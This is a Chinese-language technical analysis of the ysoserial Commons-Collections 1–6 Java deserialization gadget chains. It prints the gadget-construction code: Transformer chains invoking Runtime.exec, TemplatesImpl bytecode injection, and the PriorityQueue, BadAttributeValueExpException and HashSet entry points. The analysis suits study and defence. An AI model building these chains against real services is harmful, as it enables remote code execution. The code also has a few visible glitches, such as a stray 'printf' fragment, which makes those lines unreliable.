作者:Seaer@深信服千里目安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/sraJ2K9R2CkLHiCcPK0wrA

Commons-Collections1

首先構造transformers反射鏈,調用ChainedTransformer方法封裝transformers數組,串聯三次反射。

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec",new Class[] { String.class }, execArgs)
};

final Transformer transformerChain = new ChainedTransformer(transformers);

InvokerTransformer sink點解析:

首先跟蹤base sink點 InvokerTransformer#transform方法,以及InvokerTransformer構造方法。在InvokerTransformer#transform(Object input)方法中調用了invoke方法

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

invoke方法存在三個輸入點,分別是method對象,input和this.iArgs兩個形參。其中input作為transform的傳入參數(此參數是否可控取決于transform方法被調用時,傳入參數是否可控)。this.iArgs是可以通過調用InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)構造方法進行賦值。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

method對象可以通過調用cls.getMethod(this.iMethodName, this.iParamTypes)獲取,其中getMethod方法的兩個形參,也均可以通過調用上述的InvokerTransformer構造方法進行賦值。此時的method方法可以是任意類中的任意方法對象。 此時,如果可以控制transform方法的傳入參數,就可以通過invoke方法,調用任意類中的任意方法。

目前存在的問題:

(1)如果可以找到滿足條件的transform方法,也僅僅可以調用一次反射。然而構造一個可以執行任意命令的惡意Runtime對象,需要調用三次反射。

(2)如何控制控制InvokerTransformer#transform方法的傳入參數。

針對問題1,工具作者找到了ChainedTransformer類。

通過調用ChainedTransformer構造函數,生成Transformer數組對象。

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

且調用ChainedTransformer#transform方法,可以依次調用Transformer數組中的Transformer對象,因此完成transform三次反射方法的串聯。

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

針對問題2,工具作者找到了ConstantTransformer類,通過調用ConstantTransformer構造方法,可以為iConstant屬性賦值

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}

由于ConstantTransformer繼承Transformer接口,同樣也可以裝載到Transformer數組中,調用transform方法。

ConstantTransformer#transform(Object input)方法會返回之前可控的iConstant屬性,進而控制InvokerTransformer#transform方法的傳入參數

此時調用裝載四個transform對象的ChainedTransformer#transform方法時,則會觸發反射,效果等價于下述代碼。

Class clazz = Runtime.class;
Object obj1 = clazz.getClass().getMethod("getMethod", new Class[]{"getRuntime".getClass(), new Class[0].getClass()}).invoke(Runtime.class, new Object[]{"getRuntime", new Class[0]});
Object obj2 = obj1.getClass().getMethod("invoke", new Class[]{new Object().getClass(), new Object[0].getClass()}).invoke(obj1, new Object[]{null, new Object[0]});
Object obj3 = obj2.getClass().getMethod("exec", new Class[]{new String[]{"calc"}.getClass()}).invoke(obj2, new Object[]{new String[]{"calc"}});

此時sink點梳理完畢,接下來需要找到一個可以調用到ChainedTransformer#transform方法的source。 工具作者找到了LazyMap類來調用transform方法。當調用LazyMap#get方法時,則會調用this.factory.transform(key)方法。

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

而其中的this.factory對象,可以通過調用decorate(Map map, Transformer factory)方法,進而調用LazyMap(Map map, Factory factory)構造方法進行控制

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    } else {
        this.factory = factory;
    }
}

此時,僅需找到調用LazyMap#get(Object key)方法的入口,即可完成上述利用鏈的構造。

接下來作者找到了sun.reflect.annotation.AnnotationInvocationHandler

入口類,在sun.reflect.annotation.AnnotationInvocationHandler#invoke方法中,調用了this.memberValues.get(var4)方法。

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        assert var5.length == 0;

        if (var4.equals("toString")) {
            return this.toStringImpl();
        } else if (var4.equals("hashCode")) {
            return this.hashCodeImpl();
        } else if (var4.equals("annotationType")) {
            return this.type;
        } else {
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

且在AnnotationInvocationHandler構造方法中,可以為this.memberValues屬性賦值。

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}

AnnotationInvocationHandler繼承Serializable,可以反序列化,跟蹤一下反序列化入口的readObject方法。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

在readObject方法里調用this.memberValues.entrySet().iterator()方法,其中this.memberValues可以通過調用AnnotationInvocationHandler構造方法,賦值為LazyMap對象,且LazyMap對象被創建動態代理類,代理接口為Map.class,當調用Map.class類中的方法時,將會調用AnnotationInvocationHandler#invoke方法。entrySet方法是Map.class中的方法,因此會進入AnnotationInvocationHandler#invoke方法中,并調用this.memberValues.get(var4)方法,其中this.memberValues是LazyMap,因此完成了sink點的串聯,完成整個gadget的構造。

Commons-Collections2

首先分析sink點,作者調用了自定義方法Gadgets.createTemplatesImpl生成TemplatesImpl對象。具體跟蹤一下生成過程。

首先進入到Gadgets#createTemplatesImpl方法中。

public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

在類中重載createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class)方法,并傳入cmd惡意命令和org.apache.xalan.xsltc.trax.TemplatesImpl.classorg.apache.xalan.xsltc.runtime.AbstractTranslet.classorg.apache.xalan.xsltc.trax.TransformerFactoryImpl.class。重點跟蹤一下cmd是如何被注入在利用鏈中。 ``

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception {
    final T templates = tplClass.newInstance();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(abstTranslet));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
        command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
        "\");";
    clazz.makeClassInitializer().insertAfter(cmd);
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(abstTranslet.getName());
    clazz.setSuperclass(superC);

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

結合Javasist庫的相關方法,分析createTemplatesImpl方法:

ClassPool pool = ClassPool.getDefault();  //創建一個ClassPool實例化對象,ClassPool是一個存放著代表class文件的CtClass類容器
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));  //將StubTransletPayload.class的路徑加到類搜索路徑中。(通常通過該方法寫入額外的類搜索路徑,以解決多個類加載器環境中找不到類的問題)
pool.insertClassPath(new ClassClassPath(abstTranslet));  //同理,將org.apache.xalan.xsltc.runtime.AbstractTranslet.class的路徑加到類搜索路徑中。
final CtClass clazz = pool.get(StubTransletPayload.class.getName());  //獲取StubTransletPayload的CtClass對象,用于后續的編輯。
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");";  //聲明cmd屬性對象,并注入傳入的command參數。
clazz.makeClassInitializer().insertAfter(cmd);  //clazz.makeClassInitializer() -> 新增靜態代碼塊。
                                                //insertAfter() -> 插入代碼。
                                                //此段代碼是將cmd變量中的代碼,注入到StubTransletPayload類中的靜態代碼塊中。
clazz.setName("ysoserial.Pwner" + System.nanoTime());  //修改類名(暫不清楚具體作用是什么)
CtClass superC = pool.get(abstTranslet.getName());  //獲取org.apache.xalan.xsltc.runtime.AbstractTranslet對象(StubTransletPayload繼承于org.apache.xalan.xsltc.runtime.AbstractTranslet)
clazz.setSuperclass(superC);  //將org.apache.xalan.xsltc.runtime.AbstractTranslet設置為StubTransletPayload的父類。
final byte[] classBytes = clazz.toBytecode();  將StubTransletPayload對象轉換成byte數組。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});  //通過反射將StubTransletPayload對象的byte流賦值給_bytecodes屬性中。
Reflections.setFieldValue(templates, "_name", "Pwnr");  //反射賦值

總結上述流程,通過利用Javasist庫,將惡意代碼注入到自定義的StubTransletPayload類中,并將StubTransletPayload類轉換成byte數組,通過反射賦值給org.apache.xalan.xsltc.trax.TemplatesImpl類中的bytecodes屬性,最終返回TemplatesImpl對象。

此時,當實例化org.apache.xalan.xsltc.trax.TemplatesImpl類中的_bytecodes屬性中的類,即可觸發惡意代碼執行。作者找到了TemplatesImpl#newTransformer方法加載_bytecodes中的byte字節流。

public synchronized Transformer newTransformer() throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

重點跟進分析調用的getTransletInstance方法。

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

首先調用defineTransletClasses()方法加載_bytecodes

private void defineTransletClasses() throws TransformerConfigurationException {
    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

class[i] = loader.defineClass(bytecodes[i]) 將bytecodes屬性中的惡意字節流,賦值給TemplatesImpl#class屬性中。

回到getTransletInstance方法中,調用class[transletIndex].newInstance()方法,實例化_class字節流里的類,從而觸發惡意代碼。

現在,需要找到一個可以調用TemplatesImpl#newTransformer方法的方式。回想一下CommonsCollections1中的可以調用任意方法的InvokerTransformer#transform(object input)方法。

將TemplatesImpl對象作為transform方法的傳入參數

newTransformer賦值給InvokerTransformer#iMethodName

找到一個可以調用InvokerTransformer#transform(object input)方法的方式

滿足上述三個條件,即可實現TemplatesImpl#newTransformer方法。

其中第二個條件可以通過反射來解決,重點在于找到一個可以滿足條件一和條件三的source。這里工具作者找到了java.util.PriorityQueue作為入口類。從反序列化入口PriorityQueue#readObject方法進行分析。

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

調用heapify()方法。

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

調用siftDown(i, (E) queue[i])方法。

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

這里存在一個判斷邏輯,判斷條件是PriorityQueue#comparator是否為空,執行siftDownUsingComparator方法。

進入siftDownUsingComparator方法中。

printf("hello worprivate void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

通過調用siftDownUsingComparator方法,可以調用任意實現java.util.Comparator接口的類的compare方法。

此時,我們需要找到一個實現java.util.Comparator接口,并且在compare方法中調用InvokerTransformer#transform方法的類。工具作者找到了org.apache.commons.collections4.comparators.TransformingComparator類。

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

通過調用TransformingComparator(Transformer<? super I, ? extends O> transformer)構造方法,可以為this.transformer賦值。

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
    this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}

通過org.apache.commons.collections4.comparators.TransformingComparator類,滿足了條件一(將TemplatesImpl對象作為transform方法的傳入參數)和條件三(找到一個可以調用InvokerTransformer#transform(object input)方法的方式)。至此完成整個利用鏈的構建。

Commons-Collections3

CommonsCollections3的source與CommonsCollections1的source相同,都是以sun.reflect.annotation.AnnotationInvocationHandler作為入口,通過創建Map動態代理類,通過調用sun.reflect.annotation.AnnotationInvocationHandler的invoke方法,從而調用LazyMap#get方法,控制實現Transformer接口下的任意類中的transform方法。

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

return handler;

CommonsCollections3的sink點構造思路則是和CommonsCollections2中的base sink點(將惡意字節流注入到org.apache.xalan.xsltc.trax.TemplatesImpl類中的_bytecodes屬性,等待調用TemplatesImpl#newTransformer方法) 。

Object templatesImpl = Gadgets.createTemplatesImpl(command);

CommonsCollections3的不同之處在于,Gadget作者找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter類。在TrAXFilter(Templates templates)構造方法中,調用了templates.newTransformer()方法。

public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

僅需找到可以調用TrAXFilter(惡意Templates對象)方法即可。Gadget作者找到了InstantiateTransformer#transform(object input)方法,通過調用此方法實現TrAXFilter構造方法的調用。

inal Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[] { Templates.class },new Object[] { templatesImpl } )
    }
);

InvokerTransformer#transform方類似,InstantiateTransformer#transform(object input)方法會調用傳入的object對象的構造方法。

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

如果transform方法的傳入參數input可控,且iParamTypes(傳入對象的構造方法)與iArgs(構造方法的傳入參數)可控,即可調用任意類的構造方法。

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}

通過調用InstantiateTransformer構造方法可以實現對iParamTypes和iArgs參數的控制。目前的目標是調用TrAXFilter(惡意Templates對象)構造方法,通過構造上文提到的ChainedTransformer反射鏈,完成如下效果:

TrAXFilter.getConstructor(Templates.class).newInstance(惡意Templates對象)

從而實現裝載惡意Templates對象的TrAXFilter對象調用構造方法,實現惡意Templates對象的newTransformer調用。從而完成利用鏈的構造。

Commons-Collections4

CommonsCollections4的利用鏈構造是結合CommonsCollections2的source點(java.util.PriorityQueue)和CommonsCollections3的sink點(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

SINK:

Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
    paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

···

Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

source:

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

return queue;

這里存在一個問題:為什么不能像CommonsCollections3一樣,在實例化ConstantTransformer對象時直接傳入TrAXFilter對象,以及實例化InstantiateTransformer對象時,直接傳入Templates.class和Templates對象?

由于PriorityQueue作為反序列化入口類,且裝載惡意對象的queue屬性設置了transient關鍵字,所以需要調用PriorityQueue#add方法為queue屬性賦值,而在賦值的過程中,會調用comparator.compare(x, (E) e)方法。

public boolean add(E e) {
    return offer(e);
}

調用offer方法

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

調用siftUpUsingComparator方法

private void siftUp(int k, E x) {
    if (comparator != null)
        siftUpUsingComparator(k, x);
    else
        siftUpComparable(k, x);
}

最終調用comparator.compare(x, (E) e)方法。

private void siftUpUsingComparator(int k, E x) {
    while (k > 0) {
        int parent = (k - 1) >>> 1;
        Object e = queue[parent];
        if (comparator.compare(x, (E) e) >= 0)
            break;
        queue[k] = e;
        k = parent;
    }
    queue[k] = x;
}

如果在調用add方法之前,調用ConstantTransformer(TrAXFilter.class)方法生成ConstantTransformer實例化對象,調用InstantiateTransformer(Templates.class, 惡意Templates對象)生成InstantiateTransformer實例化對象。在調用add方法是,會觸發TransformingComparator#compare調用鏈,依次調用ConstantTransformer#transform方法,返回TrAXFilter對象。再調用InstantiateTransformer#transform方法,調用TrAXFilter.getConstructor((Templates.class).newInstance(templates)方法,從而在序列化之前觸發了代碼執行,并且拋出異常終止程序(正常流程是在服務器上反序列化,執行代碼后拋出異常)。

因此為了避免程序在序列化之前中止,需要在調用add方法前,實例化不會拋出異常的正常ConstantTransformer實例化對象和InstantiateTransformer實例化對象。在執行add方法后,再通過反射將兩個對象中的對應屬性進行更改,完成序列化的正常運行。

CommonsCollections4的構造思路,結合CommonsCollections3的實現裝載惡意Templates對象的TrAXFilter對象調用構造方法,實現惡意Templates對象的newTransformer調用的方式,生成一個惡意ChainedTransformer對象,再結合CommonsCollections2的source,通過調用PriorityQueue的構造方法,將惡意的ChainedTransformer對象賦值給PriorityQueue#comparator屬性。

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}

在PriorityQueue進行反序列化時,調用comparator.compare方法,從而調用TransformingComparator.compare,進而調用ChainedTransformer.transform方法完成sink點的調用,從而實現利用鏈的構造。

Commons-Collections5

首先構造transformers反射鏈,調用ChainedTransformer方法封裝transformers數組,串聯三次反射。

Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), 
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 
new InvokerTransformer("exec", new Class[]{String.class}, execArgs), new ConstantTransformer(1)
};

實例化Map對象,調用LazyMap類中的decorate方法,將transformerChain對象賦值給LazyMap#factory屬性。此時調用LazyMap#get方法,且傳入的key對象不在map對象中,便可以觸發上文提到的反射鏈。

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

利用鏈作者利用TiedMapEntry類封裝LazyMap對象,并通過反序列化BadAttributeValueExpException類,控制BadAttributeValueExpException#val屬性,調用任意類中的toString()方法。

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException((Object)null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

TiedMapEntry#toString()方法中調用TiedMapEntry#getValue方法,從而觸發map.get(this.key)方法。

public String toString() {
    return this.getKey() + "=" + this.getValue();
}
public Object getValue() {
    return this.map.get(this.key);
}

至此完成整個利用鏈的構建。

Commons-Collections6

CommonsCollections6的sink鏈使用的依舊是InvokerTransformer反射接口,利用ChainedTransformer串聯三次InvokerTransformer反射和ConstantTransformer接口,獲取惡意的Runtime類。調用LazyMap.decorate方法,將惡意的ChainedTransformer賦值給LazyMap#factory,當調用LazyMap#get(Object key)方法,則會觸發惡意代碼的執行。(與CommonsCollections1、CommonsCollections5的sink點相同)

final String[] execArgs = new String[] { command };

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {
        String.class, Class[].class }, new Object[] {
        "getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {
        Object.class, Object[].class }, new Object[] {
        null, new Object[0] }),
    new InvokerTransformer("exec",
        new Class[] { String.class }, execArgs),
        new ConstantTransformer(1) };

Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

CommonsCollections6 gadget作者找到了TiedMapEntry類,其中在TiedMapEntry#getValue()方法中調用了this.map.get(this.key)方法。

public Object getValue() {
    return this.map.get(this.key);
}

調用TiedMapEntry(Map map, Object key)構造方法,可以為TiedMapEntry#map賦值

public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}

在TiedMapEntry中的equals(Object obj)、hashCode()、toString()方法中都調用了TiedMapEntry#getValue()方法。這里作者選擇調用TiedMapEntry#hashCode()方法

public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

此時需要尋找一個調用hashCode()方法的類,并且可以串聯反序列化入口類。這里Gadget作者找到了HashMap和HashSet。在HashMap#put方法中,調用了hash方法,進而調用了hashcode方法。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

在HashSet類的反序列化入口readObject方法中

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in any hidden serialization magic
    s.defaultReadObject();

    // Read capacity and verify non-negative.
    int capacity = s.readInt();
    if (capacity < 0) {
        throw new InvalidObjectException("Illegal capacity: " +
                                         capacity);
    }

    // Read load factor and verify positive and non NaN.
    float loadFactor = s.readFloat();
    if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    }

    // Read size and verify non-negative.
    int size = s.readInt();
    if (size < 0) {
        throw new InvalidObjectException("Illegal size: " +
                                         size);
    }

    // Set the capacity according to the size and load factor ensuring that
    // the HashMap is at least 25% full but clamping to maximum capacity.
    capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
            HashMap.MAXIMUM_CAPACITY);

    // Create backing HashMap
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
        map.put(e, PRESENT);
    }
}

在進行反序列化的過程中,實例化HashMap對象,并調用了map.put(e, PRESENT)方法。如果傳入的e參數可控,并且可以賦值惡意的TiedMapEntry對象,即可執行惡意代碼。e參數是通過調用readObject方法獲取的,所以需要找到對應的將e參數進行序列化的writeObject方法。在HashSet#writeObject方法中找到了對應方法。

